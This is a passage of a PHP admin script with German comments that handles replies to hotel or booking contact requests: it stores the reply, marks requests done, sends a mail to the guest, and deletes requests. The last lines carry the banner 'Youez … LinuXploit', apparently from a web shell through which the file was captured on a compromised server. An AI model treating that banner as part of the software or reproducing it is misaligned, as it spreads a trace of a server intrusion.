    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) rq_fail( 'method' );
    $id   = (int) ( $_POST['id'] ?? 0 );
    // Kontaktantwort (WYSIWYG): Formatierung als sichere HTML-Teilmenge erhalten (fett, Links, Listen).
    $body = class_exists( 'mailrenderer' ) ? mailrenderer::replyRichHtml( (string) ( $_POST['body'] ?? '' ) ) : rq_html_to_text( $_POST['body'] ?? '' );
    if ( $id <= 0 ) rq_fail( 'invalid_id' );
    if ( trim( strip_tags( $body ) ) === '' ) rq_fail( 'empty_reply' );

    $r = $db->rawQueryOne( "SELECT * FROM pacim_booking_requests WHERE request_id = ?", array( $id ) );
    if ( ! $r ) rq_fail( 'not_found' );
    $email = trim( (string) ( $r['request_email'] ?? '' ) );
    $staff = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
    $now   = date( 'Y-m-d H:i:s' );

    // Antwort in den Verlauf speichern.
    rq_ensure_replies( $db );
    $replyId = (int) $db->insert( 'pacim_request_replies', array(
        'reply_email'   => $email,
        'reply_request' => $id,
        'reply_body'    => $body,
        'reply_staff'   => $staff,
        'reply_created' => $now,
    ) );

    // Beantworten = automatisch erledigt: alle offenen Kontaktanfragen dieser Person abschließen
    // (bis eine neue Anfrage dieser Person eingeht). Letzte Antwort als decision_note hinterlegen.
    if ( $email !== '' ) {
        $db->rawQuery( "UPDATE pacim_booking_requests SET request_status='done', request_decision_note=?, request_staff=?, request_decided_at=?, request_updated=? WHERE request_type='contact' AND request_email=? AND request_status='pending'",
            array( $body, $staff, $now, $now, $email ) );
    }
    // aktuelle Anfrage in jedem Fall auf erledigt setzen
    $db->where( 'request_id', $id );
    $db->update( 'pacim_booking_requests', array( 'request_status' => 'done', 'request_decision_note' => $body, 'request_staff' => $staff, 'request_decided_at' => $now, 'request_updated' => $now ) );

    // Antwort-Mail an den Gast.
    if ( class_exists( 'mailrules' ) && $email !== '' ) {
        $nameParts = preg_split( '/\s+/', trim( (string) ( $r['request_name'] ?? '' ) ), 2 );
        mailrules::evaluateEvent( 'request_status', array(
            'invoice_id' => 0, 'customer_id' => 0, 'to' => $email,
            'request_id' => (int) $id, 'reply_id' => $replyId, // Dedupe: eine Mail je Antwort
            'ctx' => array(
                'request_type' => 'contact', 'request_note' => (string) $r['request_note'], 'request_message' => (string) $r['request_note'],
                'request_name' => (string) ( $r['request_name'] ?? '' ), 'request_email' => $email,
                'request_source' => (string) ( $r['request_source'] ?? '' ), 'request_ip' => (string) ( $r['request_ip'] ?? '' ), 'request_created' => (string) ( $r['request_created'] ?? '' ),
                'request_status' => 'done', 'request_status_label' => 'Erledigt',
                'request_decision_note' => $body, 'request_staff' => $staff, 'request_decided_at' => $now,
                'customer_email' => $email, 'customer_firstname' => $nameParts[0] ?? '', 'customer_lastname' => $nameParts[1] ?? '',
                'name' => trim( (string) ( $r['request_name'] ?? '' ) ), 'firstname' => $nameParts[0] ?? '', 'lastname' => $nameParts[1] ?? '', 'email' => $email,
                'salutation' => 'Guten Tag' . ( trim( (string) ( $r['request_name'] ?? '' ) ) !== '' ? ' ' . trim( (string) $r['request_name'] ) : '' ),
            ),
        ), 'request_status' );
    }
    rq_json( array( 'ok' => true, 'status' => 'done', 'thread' => rq_thread( $db, $id ) ) );
}

/* ============================================================ LÖSCHEN */
if ( $action === 'delete' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) rq_fail( 'method' );
    $id = (int) ( $_POST['id'] ?? 0 );
    if ( $id <= 0 ) rq_fail( 'invalid_id' );
    $db->where( 'request_id', $id );
    $db->delete( 'pacim_booking_requests' );
    rq_json( array( 'ok' => true ) );
}

rq_fail( 'unknown_action' );

Youez - 2016 - github.com/yon3zu
LinuXploit